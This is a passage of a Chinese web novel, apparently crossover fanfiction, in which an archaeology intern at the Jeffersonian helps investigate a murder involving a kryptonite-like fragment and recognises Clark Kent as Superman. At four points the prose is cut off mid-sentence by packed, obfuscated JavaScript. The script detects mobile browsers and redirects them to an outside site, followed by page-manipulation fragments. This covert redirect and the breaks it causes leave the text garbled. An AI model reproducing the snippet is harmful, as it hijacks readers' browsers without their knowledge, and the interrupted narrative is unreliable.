说到小说，安晓想，自己的确有段时间没看了。 之前忙着毕业前夕的各种事项，刚毕业就以为要没地方住了，就开始不停兼职各种零工准备攒钱。 也就现在正式实习开始，才算有了比较长的空闲时间。 倒是确实可以淘淘看，毕竟两个世界都融合了，肯定也会有一点不一样的文化融进来吧？ 想到这，安晓又一次庆幸起来世界的大变样是在自己已经毕业之后的事情。 想想看嘛，在毕业前夕才发现世界大变样，自己的记忆却还是曾经的模样，光是如今地球上真正存在着的亚特兰蒂斯，还有北欧神话的阿斯加德神邸的出现，都会成为是她考古学取得学位的阻力。 ——她的考古学的毕业论文，是关于古文明以及传统文化宗教信仰方面。 这世界勉强还算有良心吧。 迷迷糊糊就这么睡着的安晓如此想到。 “叮叮叮——” 猛地被手机铃声给惊醒的时刻，安晓还以为自己睡过了时间，心跳因为起身过快差点跳出了胸腔口，昏头转向还下意识记得抓住手机就拼命往下摁音量键，顺道还用被子把手机给蒙住。 缓了几秒意识终于恢复了清明之后，她才意识到响起来的不是闹铃，而是电话铃声。 迟钝扭头往外看去，窗帘间隙中漆黑一片，看不出半点光。 接听前瞄了一眼手机右上角的时间显示，明晃晃的凌晨两点的时间让安晓很想要骂上几句什么，但是刚睡醒还没完全精神起来，她声音都是含糊温吞的。 “亲爱的文森，你最好给我一个凌晨两点来电话的理由。” 听起来轻声细语称得上温柔的声线实际都没有什么情绪起伏，电话另一头的文森特都没忍住打了个哆嗦。 “咳咳。” 清了清嗓子，文森特组织了下语言，最后眼一闭心一横，语速飞快地脱口而出：“亲爱的安晓小姐很抱歉打扰到你休息时间，实际上，今天运来杰弗逊研究所的那位尸体里面查出来有放射性物质，今天所有进出过人类研究所这边的人都要来接受检查，所有靠近过尸体的人，在查明白那个放射性物质是什么之前，需要隔离。” 顿了一下，他语速：“这个靠近指的是五米以内，以上。” “……” “……” “………………” 中指蠢蠢欲动，在竖起来之前，最后还是被安晓以最后的理智给按捺了下去。 不可避免又一次回忆起来下午和那具尸体的擦肩而过，虽然只有短暂的几秒时间，但直线距离确实小于五米。 “我可能和FBI相关的事情犯冲。” 安晓做出如此总结。 前面度过的所有人生里面她连派出所都是补办身份证和办护照的时候才进去过，来美国之后的几年时间里更是平平安安，结果世界一朝大变样之后，这种麻烦事就纷纷出现。 她一个良民哪里该和FBI扯上关系的嘛！ 哪怕是那边安排了车子接她去杰弗逊研究所，也不可饶恕！ 当一脸怨气的安晓出现在眼前的时候，文森特默不作声，悄悄往后走了一步，又走了一步，然后半个人躲在了布斯探员的身后。 “文森！！！” 睡眠严重不足且还有点儿起床气的小姑娘在进来前，就被安排着先去抽了一管血去化验，在血检和放射性物质查询出来结果之前，她就只能在这边待着，哪儿都去不了。 看见试图逃避和自己对视的朋友之后，安晓张牙舞爪就要过去算账，最后被赶紧伸手过来的安吉拉给压住：“冷静，亲爱的，冷静！” 实际上，并非直接接触的人员都是要被送去上面的楼层再统一进行隔离，安晓会被直接安排到人类研究所这边，也是因为她和文森特认识。 上面的隔离区条件不算好，研究所内好歹该有的设备也一应俱全，反正安晓也是杰弗逊的员工，布斯探员也就干脆打了个招呼让直接把人送到这边。 额，当然，这个时间确实是有点微妙。 再怎么感到抱歉也比不过出现了未知的放射性物质的紧急。 好吧好吧。勉强对着眼前人们扯了个笑，安晓再一次确定自己应该就是单纯的水逆。 “所以那位死者是因为受到辐射死掉的？” “……这我应该可以知道吧。” 很想知道到底发生了什么，安晓又不是特别想要被扯进去什么奇奇怪怪事件之中，下意识问了一句之后，她赶紧补充。 凯米博士上前解释道：“不，不全是这样。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510135|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “受害者的死因是因为外力穿破胸腔致死，我们实在他肋骨上发现了一点奇怪的矿石残留，霍金斯博士现在正在查那到底是什么矿石。” 能说的部分有限，毕竟有些话说出去只能制造恐慌。 比如说…… 霍金斯博士大小那片莹绿色碎片的矿石般的物质，并非他原本以为的人工聚合物，也和地球上目前他已知的物质都不相符。 自己很有可能发现了某种全新物质的激动，让霍金斯博士直接对那个小碎片进行了全方面的检验，脑袋里已经想好了要怎么给这种新矿石取名的同时——小碎片上的辐射激起了研究室的警报。 第一次，霍金斯博士的‘阴谋论’有了点实质性的发展，团队里面的几个人对于他的‘这是未知成分的太空来物’的说法，保持了一定程度上的肯定。 当然，他的‘受害者老兄是被含有这个未知成分的陨石给击破了胸口’的说法，并没有被布伦南博士纳入考虑范围之内。 只是警报想得紧急，还没来得及再接着讨论，她们就得先去接受抽血检查。 从尸体的第一发现者再到接到报案的警察，现场的勘察人员，还有尸体运回来杰弗逊人类研究室路上所有遇见过的相关者，全都在这个凌晨给带回来接受检查。 顺着凯米博士的示意，安晓目光移到了隔壁实验室里面的那个穿着全套防护服在接着检查碎片的博士身上。 一旁的电脑屏幕上还亮着，是拍下来的那块矿石碎片的图片。 幽绿的犹如某种宝石的色泽，以及，虽然这块碎片实物小到只比镊子尖大不到哪去，但是变成照片放在屏幕上之后，实在是该死的眼熟。 又一次被窒息般的沉默给淹没，安晓僵硬地挪开视线。 她手里还被文森特塞来了一杯热红茶，英国人跑出来的连温度都很讲究的红茶味并没能让她心情好上哪怕一丁点。 被带到了一旁的休息室里坐下，安吉拉友情提供了小毯子过来，对她说如果困的话可以直接在沙发上睡一会儿。 只是安晓就单纯坐在沙发边，呼吸都放轻了很多。 话说啊，那是氪石吧绝对就是氪石吧！！！绿成这样的未知物质的除了氪石我真的想不到别的啊喂！！！ 都已经不成人形的身体里面出现氪石碎片…… 如果不是那位可怜受害人已经死得不能再死了，安晓都生怕这是踏入某个制造毁灭日的剧场。 等…… 不会真的是有人在用氪石做什么坏事吧？？？ 脑海里闪过了电影里看来的各种桥段，偶尔会看的漫画里面的故事情节也开始跳跃出来彰显存在感。 我是不是要报警？还是报超人？报正义联盟？ 报超人的话，直接大声喊几声吗，还是说打星球日报的公告热线？ 一紧张思绪就杂七杂八什么都开始想，拐弯抹角凑着文森特边上问了两声，确定受害者死在里大都会很远的地方之后，安晓才算勉强安心。 转念又想起来自己大半夜会在杰弗逊研究所的原因——氪石是有辐射的。 安晓更是心有余悸地抬起手，小心翼翼摸了一下……自己的发际线。 还好还好，没有后退。 想起某位的光头，安晓悄悄松了一口气。 ——超级英雄世界观的融入，果然有加深我这边世界的危险程度，氪石杀人案都有。 小姑娘呲牙。 讨厌！ 8. 第 8 章 杰弗逊人类研究院里，团队中没有人知道休息室里那个无辜被牵连上的女孩，在短短几分钟里到底经过了怎么样的头脑风暴。 矿石的成分此刻还不明了，在每个人的检查结果出来之前，尸检也被迫暂时中断，大家都四散着找地方休息。 安晓的睡意此刻已经飞得一干二净，只余下些许的心悸让她披着毯子就这么安安静静地坐在那边，想的却还是那块氪石碎片。 ——非地球的某种幽绿色的不明矿石，这要说不是氪石，安晓反而会觉得奇怪。 以她对目前世界观的基础了解来看，其实是比原来的动不动就毁天灭地的外星人大战要和平很多。 比如说莱克斯·卢瑟看不惯超人的这件事从来不是秘密，还有政治频道上说的要出台法律监管超级英雄的新闻也层出不穷，虽然不同世界观叠加在一块的情况来得莫名，但是基本逻辑没什么大改变。 于是，地球上，要说谁有最多的氪石储备，安晓以自己看过的漫画和剧情储备来做出猜测——应该还是卢瑟和韦恩吧？ 他们和这桩凶杀案有关系？安晓却又不这么认为。 世界的融合对她来说其实格外突兀，但是这段时间里，安晓之所以还能够日常正常生活的关键原因，那就是超级英雄的存在其实和普通人的生活隔得很远。 前段时间因为波士顿开膛手的事，去FBI做完笔录之后被送回了住处，路上面负责开车的那位探员还问她，如果佛耶没能被一击砸晕又开始反击，该怎么办呢。 本意是想要教育一下这位勇气可嘉的小姑娘不要过分鲁莽，安晓在那天晚上经历了第N次的‘感谢但是并不赞同’的交谈之后，灵光一闪，赶紧扯了一个理由出来。 [如果真的应付不来的话，我会超大声喊超人的！] [超……人？] 那位探员愣了一会儿才做出恍然的表情，说，对哦，超人。 就好像……世界的融合并不彻底，还是在循序渐进的过程之中。 超级英雄之类的存在和他们的可依赖性，都还不是她所熟悉的这个世界的人们会第一时间联想到的。 那种感受很难用言语形容，不过安晓又有一种自己似乎真的触碰到世界真谛的预感。 可她又只是个小人物影响不了这些世界，再怎么感慨这种事情，在今天之前，安晓还并没有特别在意这些。 可现在一桩很明显的凶杀案上的线索又串联起了两个不同的世界。 如果世界观已经彻底融合的话，未知的还带着辐射的非地球矿石应该会很顺其自然地移交给超英相关的部门吧？比如说天眼会或者神盾局之类的？ 显然现在的发展也不是这样。 这种情况，或许是世界观合并加快了的结果之一。 “哎。”感觉好复杂啊。 安晓并不是特别了解超英的世界，原本这个题材她就是纯粹的美剧和电影档，知道的那些非影视剧里的设定，还都是来美国之后设身处地在这个环境里面，偶尔刷一刷漫画，才在她原本的刻板印象里补充了些许的细节。 只能算是半瓶水程度的安晓，也不觉得这件事会和卢瑟有关。 倒不是她觉得那位是多好的人——安晓对于所谓‘超级反派’基本还是保留着一定的刻板印象。 但那可是‘超级反派’，会做这样的‘普通’的凶杀案？ 在这个汇聚了顶尖人才的杰弗逊研究室里面，既然霍金斯博士都辨认不出那是什么，就代表如今的这个世界观底下，氪石也还是足够稀少的物质。 安晓想了想，对于那枚碎片的来源做出了三种推测。 第一种，蝙蝠洞的氪石被偷了。 第二种，卢瑟的氪石被偷了。 非常确定今天的实事新闻里大都会和哥谭都没有什么大新闻出现，安晓认为这两种可能性已经被压到了极低。 至于第三种猜测，安晓觉得是可能性最大的一种。 和受害人息息相关的那块氪石碎片，或许是无主的。 “然后问题就更复杂了。” 如果那真的是‘野生氪石’，也就是说那块氪石的主体目前是不知所踪的状态…… 果然也是很不妙的啊。 果然还是得要先破案知道凶手是谁才行吗？ 回想起来研究室中央实验台上已经被清理干净的骸骨，那颜色看起来终于不那么可怖了，虽然只是匆匆看过，但安晓眼神很好，回想起来也实在是清晰。 虽然她对于人类学没有兴趣，但因为好友之一就是这个专业，安晓也看过一些文森特的论文资料，半吊子算不上，但姑且也勉强是个八分之一吊子。 除了受害者是男性之外，安晓也就只能看得出来他胸骨肋骨上的伤口，凶器从角度来看应该是从下往上刺入的。 ——话说回来，我为什么要在这边想破案的事啊！ 想到睡觉都梦见了关于那具尸骨的一切。 于是第二天一早，文森特发现他亲爱的好友的怨气，好像比昨天晚上还又更深重了一些。 “你请。” 毕恭毕敬送上一杯红茶，和外面人送进来的早餐，文森特看好友没有要炸毛的趋势，这才一溜烟窜出去套上防护服，准备继续跟着布伦南博士研究尸骨。 颇大的研究室里就这么几个人在忙来忙去，安晓像是个无头苍蝇到处乱晃，听了一耳朵并不算机密的案情资料。 比如说，死者是在纽约市郊被发现的。 还有，死者的面部还原图也出来了，还查到了他的牙医记录，身份很普通工作也很普通，只是普通的空调维修工人，甚至只是个派遣工。 嗯。 拿出手机默默调出地图在翻从布斯探员那儿听来的地名，安晓发现，那块发现尸体的纽约市郊公园和大都会正接壤。 这个地点就有点儿敏感且微妙了。 再一听布斯探员说的，死者在死前的工作安排。 哈…… 预计死亡时间的前一个月是在卢瑟集团下的研究室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510136|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也做过一段时间的维护工，前两天更是刚接了星球日报的空调外机的维保工作。 好可疑！怎么会这么可疑！ 不会真的是偷了卢瑟手里的氪石准备对付超人的勇士吧，这完全是已经要扒了超人马甲的节奏诶！ 手握至少大部分的超英马甲的小留学生目眦欲裂，看着完全没觉得这其中有什么关联的天才们在实验台上忙忙碌碌，那种想要说些什么，但是自己完全没有立场能说什么的无力感让她憋得难受。 ——秃啊！秃你在干什么啊秃！秃！！！你不会真的杀个普通人吧！！超反找超英的麻烦就行别打扰我们科学侧普通群众啊！ 超英片场那就是神仙打架，安晓怎么想都感觉这事儿危险。 心里知道氪石哪怕接触时间长了会癌症会掉发，但是目前程度的短暂接触应该还算没事，她想，自己应该等检查没啥问题的结果出来之后，就立刻回家宅到破案。 她还想活着呢！ 太危险的超英要素当然是能不沾就不沾。 而在素未谋面过的留学生小姐这边已经痛失姓名的莱克斯·卢瑟本人，此时此刻听着手下人的汇报——约好今天要来交易的人失踪了，到现在还没查得到消息。 与此同时，大都会，星球日报总部。 有人用胳膊肘撞了撞身边的老好人朋友，嘀嘀咕咕八卦道：“听说了吗，我们楼的空调大概这个月都修不好了，那个拿了咱们空调管道图的总工直接旷工了诶！” “基本所有人都申请出去外勤，至少不用留着受罪，你要不要一起呢，肯特？” 全楼上下被不能制冷也没法制热的空调给折磨得苦不堪言，试着开个通风，但因为空调管道修了一半，从通风口出来的只有灰尘味儿。 星球日报大楼的楼有点老，当初设计的管道图纸还没来得及电子化，自家手里只存了一份备份。 不是找不到人紧急过来赶工，但是大楼的管道设计图原版存在了市档案局里——前段时间刚有不长眼的炸了大楼，里面存的纸质档案漫天乱飞，几个星期下来了都还没能彻底整理好呢！ 只能说是屋漏偏逢连夜雨。 克拉克对着同事尴尬地弯了下嘴角，做出同样愁苦的表情揉了把头发。 外勤是没法外勤的，毕竟现在不是体育季，他没有什么专栏可写，氪星人的超绝体质倒不会让他觉得冷热又或者不通风，只是手里没有稿子可写的职业危机让他想要叹气。 哎，愁人，愁氪星人。 这年头工作难啊…… 同事看他的样子也知道这位老好人同事怕是要坚守办公室得多，想了想自己也有拜托肯特帮忙打个卡从楼下带杯咖啡的事儿，随即招了招手。 “正好我这边的一份专栏要人一起，肯特，你要不要一块儿？” “就在华盛顿，你听过杰弗逊的人类研究所吗。” 想了想主编的‘肯特你的稿子呢’的眼神，并不是很想遇见失业危机的克拉克点头，感谢了同事的好意。 9. 第 9 章 检查的结果是在当天下午出来的，虽然人身禁制被解除，但未知碎石的放射性依然危险，虽有针对这块碎石证物的检查都必须要在隔离房间里面穿着防护服进行。 而之前拉人半夜过来大检查的事情动静还是有点大，虽然辟谣得很快，但是各种小道消息里还是有着不少‘阴谋论’的流传，杰弗逊研究所连带着博物馆都要暂停‘整顿’一段时间，直到案件查清楚之后，才能再度开放。 “……” 实习入职第二天就喜提暂时失业的安晓：“…………” 被勒令一定要在最短时间内查清案子的杰弗逊小团队更是马不停蹄，投入工作之中。 虽然是实习生但是对于工作参与度要高得多，文森特隔着玻璃门看着外面拎包就要走人的好友，一副自己就此要孤身一人的姿势，伸手扶着玻璃：“安啊——” “……所以其实我这是探监吗？” 气已经散了一大半的安晓回头：“有空的时候我会带慰问礼过来的。” 心满意足的英国籍好友微笑。 “你知道吗，世界上牙齿最多的生物是蜗牛，如果人类也有这么多牙齿的话，吃饭应该能变快，节省更多时间出来吧。” 很显然，目前并没能从尸骨上发现更多线索的实习生先生，也没能从布伦南博士那边要来一个夸奖，此刻精神状态岌岌可危。 “如果牙齿变多了但是喉咙没有变宽的话，吞咽速度还是那样，也快不了太多吧？” 顺着文森特的话想象了一下要怎么样的颅骨结构才能容纳两万颗牙齿，由于画面过于掉SAN值，安晓使劲晃晃头，把那个糟心画面给甩了出去。 说着有空的时候会过来，实际上安晓现在就是很闲没错。 回到住处第一件事就是先在床上躺下来，让所在沙发上睡了一宿的肩背舒缓一下，在床上打了个滚，她才磨磨蹭蹭在网上找查理聊天，吐槽着说美国的犯罪率怎么会这么高呢。 ——果然还是超英世界的错！ 安晓想，如果不是超英世界的出现，至少会少一件和氪石有关的凶杀案。 在被窝里舒服地补了一觉，天边也才刚刚出现晚霞，冰箱里面还有食材，安晓准备起来着晚餐，量做得很多，还翻出来了两个大餐盒给装了个满满当当。 给朱利安留了纸条说自己今晚还要去杰弗逊，她可以先吃晚饭。 顺路去了打工常去的面包店，已经准备打烊的店里还有着一些没卖完的面包，老板很乐意给这位来兼职过几次的小姑娘打折，愣用打折的最便宜价格，直接把店里最大号的纸袋子装了个满满当当。 抱着已经快要遮挡视线的纸袋，每一步都走得小心翼翼，安晓也真心觉得人类研究所的各位属实是运气不好。 没底气没理由去给出自己以上帝视角知道的那些线索，心虚的状态让她有点过度补偿的倾向。 虽然知道好友的意思就只是让自己可以有空和他也喝茶聊聊天，表现出来的就是直接包圆了晚餐和夜宵。 嗯…… 这也是问题，得改。 她想。 不过手里提着便当袋子，另一只手还抱着装满了面包的大纸袋，走路踉跄到都像是某种命运的必然。 安晓很感谢路过的先生眼疾手快捞自己一把的事情，在走了一段路发现对方竟然和自己同路之后，却也莫名有点毛骨悚然。 被跟踪了？ 她觉得这事儿不能怪自己乱想，毕竟两个大男人在某个路口顺手帮扶了一下快要摔倒的人，后面很长一段路程都和她同个方向，就是很可怕没错啊！ 心跳变得好快。 克拉克·肯特镜框下的眼睛地瞄了眼走在路畔边的女孩。 啊，是害怕？ 颇善解人意的记者先生很容易就想到对方心脏突然加速鼓动的原因，不着痕迹地调整了下步伐节奏，和同事两个人稍微领先了那个女孩两步。 呼。 松了口气的声音很快就很明显地响在了耳畔。 就是…… 在三个人几乎前后脚地停在了杰弗逊人类研究所的大门口的那一刻，克拉克发誓，自己发现那个亚裔女孩偷偷侧头看过来的眼神里充满了惊恐。 “……我们是约了今天来采访布伦南·坦普伦斯博士的记者。” 某位拥有着超级视力的氪星人记者先生，眼看着这个小姑娘已经试图用负重快到极限的手指去摸口袋掏手机的动作，难得一次抢先着搭话。 他总觉得这个小姑娘下一秒就会打电话报警。 “……啊，记者！” 虽然做出来恍然大悟的表情，但安晓依然是警惕心不减地肩膀贴着大门，刷卡，肩膀抵开了一条缝，飞快地钻进去——需要对应通行证才能通过一个人的安保系统让人安心。 “杰弗逊最近不对外开放，所以做访客通行证的人都不在，我这边去和布伦南博士确认一下，等会儿就来开门。” 她语速都比日常要快了不少，不够眼前两位记者不得而知。 在氪星人的听力之中，亚裔女孩带着两个大袋子哒哒哒地就往大楼里面跑去，声音实在是明显。 中途似乎还又踉跄了一下，不过从仓促的脚步声听来，应该很快就稳住了身形。 ——布伦南博士，门口有两位记者说是要来采访你的。 ——你怎么回来了安小姐？ ——我带了晚餐还有面包点心过来，布伦南博士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510137|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——有司康吗？ ——亲爱的文森，你竟然还想挑？ 交谈声从算得上安静的楼体中被氪星人绝佳听力给捕获。 那个被称作是布伦南博士的女声回答说，是有记者约了来采访，因为案子来得突然，她这边没没来得及去沟通改时间。 现在刚刚入夜不久，算是晚餐时间，趁着这会儿有空，正好要是能快些采访结束就更好了。 没一会儿，那个小姑娘又伴随着空旷走道里哒哒哒的快步走路声音出现在他们面前。 手里还拎着两张从博士团队里借出来的通行证。 破案是很重要的事情，而只是单纯出现在这里的实习生小姐直接担起了接待员的工作。 反正她的主要实习工作是博物馆的讲解员，都是要和人相处的职位，这会儿就当提前练习怎么和陌生人沟通交流。 晚餐借用了研究室里面的微波炉，坐在了研究室二层的休息区在吃。 安晓做的都是家常菜，炒肉丝和麻婆豆腐都是外国人眼里典型的中餐，口味方面绝对不会出错。 不习惯吃米饭的，正好还有面包可以吃。 安吉拉也亲昵地拥抱了一下安晓的肩膀：“甜心，你真的超——甜！” 味道不至于是顶级，但是家常口味真的很偎贴人心。 做的时候就已经快速扒拉过两口饭的安晓这会儿就在边上咬着块面包，美滋滋接受美女的贴贴。 她好奇透过栏杆的缝隙看下面接受记者采访的布伦南博士，不由感叹着：“好厉害啊……” 因为专业方面已经做到了顶级所以接收着采访，好酷啊！ 安吉拉也乐呵呵地替好友开心：“这次好像是大都会那边的记者？好像是星球日报？” 正在拿着筷子和肉丝搏斗得到霍金斯博士点点头。 而正小鸡啄米捧场点头的安晓，突然脑袋咔哒一下，点头点了一半，动作僵在了那边。 你是说？星球日报？ 这下小姑娘的眼神是真的变得格外惊恐，一个向日葵大甩头地回头看向一楼。 眼睁睁的，安晓看着那个高个子带着粗框眼镜的记者先生跟在布伦南博士身后在参观研究室，另一位记者先生还拿着纸笔在急着采访话题。 而他们在走过霍金斯博士的实验室门口时。 “……” 安晓发现自己最近无言以对的次数好像变多了很多。 但是看着那个大高个脚一软差点摔了的样子，以及超绝不经意走位到远离实验室那一侧的动作，安晓的震惊和无语怎么也藏不住。 ——所以说，为什么超人会在这里！！！！ 超你说话啊！超！！！ 10. 第 10 章 原本的想着世界融合其实还在进行中的猜测，在星球日报的记者出现在眼前时，就直接散了个一干二净。 搞不明白，完全搞不明白。 安晓两眼发直地看着楼下采访布伦南博士的记者，手里面包片似乎都一下变成了干巴巴的口感，让她只能光嚼不咽。 简直就是‘命运’啊。 遇到了和超英侧可能相关的案件，就真的吸引来了超英。 那位记者先生也因为身体力行地用一次腿软，让安晓彻底确定那块未知矿石就是氪石没错。 至于为什么确定记者先生就是超人？ 身材格外高大，身上穿着的似乎不是特别合身的宽松西装，还有带着粗框眼镜的似乎平平无奇的普通西方人的面孔。 在反应过来之后，这位记者先生完全就是安晓对超人的刻板印象集合体。 啊，至于安晓另一个队超人的刻板印象，就是额头留一撮小卷毛会从树上救小猫的外星人形象。 毕竟原本她对超级英雄的了解大部分都是靠看电影以及一些二创得来，直到后面来美国之后才会入乡随俗翻翻漫画，刻板印象一时半会改不过来。 - ‘我们可以针对这起案件做跟踪采访吗？’伯格先生，一位带着同事来跑这趟外勤采访的记者先生，丝毫不愿意放弃近在眼前的机会——本来犯罪类专栏阅读量就不高，好不容易能采访布伦南博士，当时是要挑些话题度高的啊！ 感谢肯特！本来还以为只是普通的跟踪采访，带了个老好人同事过来，竟然遇到了新鲜话题！ 伯格口才不错，几下就说动了布伦南博士让她答应能留下来继续采访——当然，案件方面如果有些敏感信息的话，是不可以透露出去的。 至于同事的意见？ 不会吧不会吧不会吧，难道真的会有笨蛋回去待在没有空调的办公室里受罪吗！ ——看着隔壁实验室里屏幕上那块绿油油的小石头，不动神色的，克拉克·肯特往边上挪了一步，再一小步。 完全意想不到的地方出现了氪石，因为这趟华盛顿之行本来也是同事突发奇想的邀请，他想，这多半不是刻意针对超人的阴谋。 但一位普通群众的死亡和氪石扯上关系，这无疑是需要注意的。 克拉克配合着同事的笑容也端着起了自己手里的小记事本，认认真真地听眼前这位人类学顶尖学者说话。 在二楼休息区用餐的几位这会儿都已经休息好下楼了，刚刚带他们俩进来的那位女孩还体贴地问他们：“需要用些晚餐吗，楼上备好了热茶和面包。” 至于热饭热菜？ 她可是算着研究室里人数多装了些的，突然多两个大男人的话，那就真的完全不够了。 “谢谢，这位……” 克拉克说。 “安晓。”她也顺势做了个自我介绍。 “安小姐，我叫克拉克·肯特。” ——果然没认错。 她想。 安晓和文森特本来就因为多年相识而默契，已经清理干净的骸骨也不再显得那么可怕，她顺其自然地帮着他打起了下手。 布伦南博士一向是秉持着不专业的人别染指专业事项的想法，要是搞出了差错污染证据绝对是个大问题，不过……她想，这位安小姐勉强还行，原来还想着外行人可千万乱碰骨头免得闯祸，至少现在看着不用那么担心了。 虽然布斯说过自己至少不应该对手下研究生的‘女’朋友太过于刻薄，并不明白自己哪里刻薄的布伦南博士审视着安晓的动作。 真的在打下手帮忙，和只是假模假样在装忙是完全不一样的。 “安小姐，你的专业是？” “考古学和心理学。” 布伦南博士想了下：“也许你当初可以考虑一下人类学。” 她当然有注意到在安晓提出打下手之前，奈吉莫瑞先生对安小姐说过的那些注意事项。 身为她手下的实习生，奈吉莫瑞先生能做到这些本来就是应该的事儿，而非专业的考古学学生在听过一遍之后就能迅速上手，拿着胫骨在放大镜底下观察得有模有样，这的确还过得去。 “承蒙夸奖。” 实际上现在也就只能帮忙做一下检查检查骨头的事儿，安晓对人类学依然敬谢不敏。 她很喜欢人类，不是指人体科学这一类，而是关于人性方面的钻研，考古更是能让她看见历史长河之中的璀璨。 物理意义上的剖析人类还是有些过头了。 现在能给团队大家打下手也不过时过目不忘的记忆派上了用处，至少肉眼可见的地方，她能靠眼力去辨认骨头上是否还有不对劲的痕迹。 一旁的记者先生们似乎是准备着轮替先去用晚餐，现在时间也有些晚了错过餐点，伯格先生先去吃点面包，让自己那位好同事先有什么都记一记，都是记者，倒是不需要关照嘱咐太多。 事关氪石，外星人先生认为自己有一定的责任义务要接触和解决这起案子。 左右看了两眼，比起其他人，克拉克·肯特先生也是独具慧眼，一眼挑中了先前就说过几句话的安晓。 挑中了唯一非专业人员啊。 什么运气？ 很不明显地无语眯了下眼睛，安晓放下手里的指骨，嗯，这块指骨腕骨都有不太明显的变形，文森说应该是一直戴着重物饰品的磨损。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510138|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啊。” 说起来，比起被记者先生采访，反而是安晓这边也有问题要问来自星球日报的记者。 天色已晚，布斯探员那边已经离开，他在走FBI的程序在传唤死者的亲朋好友，连带着他刚接了的星球日报大楼的维保工作，对接的物业人员也是要问话的人员之一。 而眼前，这不是明晃晃的星球日报关系者吗！ “肯特先生，你认识一位叫‘保罗·布鲁克’的人吗，他应该前段时间接了关于星球日报大楼的空调维保工作。” 这样的询问来得突兀，但是结合眼前的场景一看，不需要思考什么的，克拉克表现出来恍然的惊诧。 “事实上，这和我今天会跟着一起来华盛顿的原因也有些关系。” 一听这趟过来的记者先生竟然知道死者，杰弗逊小团队的人顿时都来了精神。 十分钟后，吃完面包准备下来换班同事让他去解决晚餐问题的伯格先生：？？？ 我那么大一同事呢？？？ 我采访对象呢？？？人呢！！！？？？ 被强行征用了的主观办公室里，布斯探员不在，凯姆博士和布伦南博士临时担任起了问话做笔录的工作，与此同时赶鸭子上架的还有安晓。 ——所以说为什么还有我的事！！！ 这两天完全就是原地化身成为十万个为什么的安晓，和两位博士站在了玻璃桌那头，两位气场格外强盛的女士反倒是把另一边真正高大的记者先生，给衬托得像是弱小可怜又无助。 杰弗逊人类研究所的各位都是个顶个的天才，也协助FBI破过很多案子，可能正是因为这一点吧，破过太多的案子都有着差不多的既定的流程。 布斯探员负责问话，研究室的大家则是从尸体上寻找破案的线索。 接触的尸骨更多，思维形成一定的定势之后，反而没能第一时间注意到眼前活生生的一个线索。 克拉克·肯特：“……” 他戴过手铐，也接受过人类的问询，甚至也以真正的身份出席过法庭。 但目前这种经验还真没怎么有过。 被两位女士气场给压得活像是手无缚鸡之力的小可怜，克拉克扶了一下镜框：“请问有什么是我能帮上忙的吗？” 说着这句话的时候，视线却是不由自主地挪到了边上的安安静静的亚裔女孩身上。 ——我在被她观察着。 他想。 ——超人的肢体语言……竟然实在紧张诶！布伦南博士和凯姆博士果然好厉害！ 安晓想。 ——希利/布斯不在，我们也能搞定一场问话！ 凯姆和布伦南博士如此想到。 11. 第 11 章 前几天刚刚做过一次笔录，今天就要给别人做笔录，总感觉世界变了之后，自己的人生经历也变得精彩起来。 身为想出来这个主意的当事人，安晓只是拿了笔记本在边上准备随时记些有用的线索，意外地倒也和边上两位上司形成了唱红白脸的效果。 同样很想把这起凶杀案查个水落石出的克拉克十分配合，他当然想把自己知道的除了‘氪石’的部分全都坦白说出，但，他对于这位已经失踪好几天的空调维修工人也确实知之甚少。 “因为他失踪前，我们物业把大楼的管道图已经给他了，现在备份的管道图都在市档案馆里，暂时取不了，导致我们报社的空调维保一直到现在都没能继续进行下去。” “不过就只见过的那几次面来说，保罗先生是个很和善的人，在修空调管道的时候，还会提前和我们打招呼，都是在没有人开空调的区域先开始。” “所以他最开始不见的时候，报社大楼的物业还在说，应该不会是无辜罢工，只当他有什么不可抗力的麻烦，只是几天下来，还是没能联系上他。” 到最后，能给出来的也就只有这么一点线索，关于那个人的性格画像和仅几面之缘的记者的叙述，似乎对案情没有什么关联。 “没有他和别人关系特别好或者关系很差的证据，并没有什么帮助。” 布伦南博士想，或许还是要等她的搭档布斯从大都会回来再说。 